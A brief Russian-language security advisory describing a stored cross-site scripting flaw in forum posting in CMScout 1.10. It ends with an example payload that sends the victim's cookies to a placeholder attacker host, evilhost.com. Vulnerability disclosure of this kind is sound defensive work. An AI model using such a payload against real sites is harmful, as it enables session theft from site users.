Программа: CMScout 1.10, возможно более ранние версии.
Уязвимость позволяет удаленному пользователю произвести XSS нападение.
Уязвимость существует из-за недостаточной обработки входных данных во время
публикации сообщения в форуме. Удаленный пользователь может с помощью специально
сформированного запроса выполнить произвольный код сценария в браузере жертвы в
контексте безопасности уязвимого сайта.
Пример:
<script>window.navigate('http://www.evilhost.com/cookiestealer.php ?c='+document.cookie)</script>
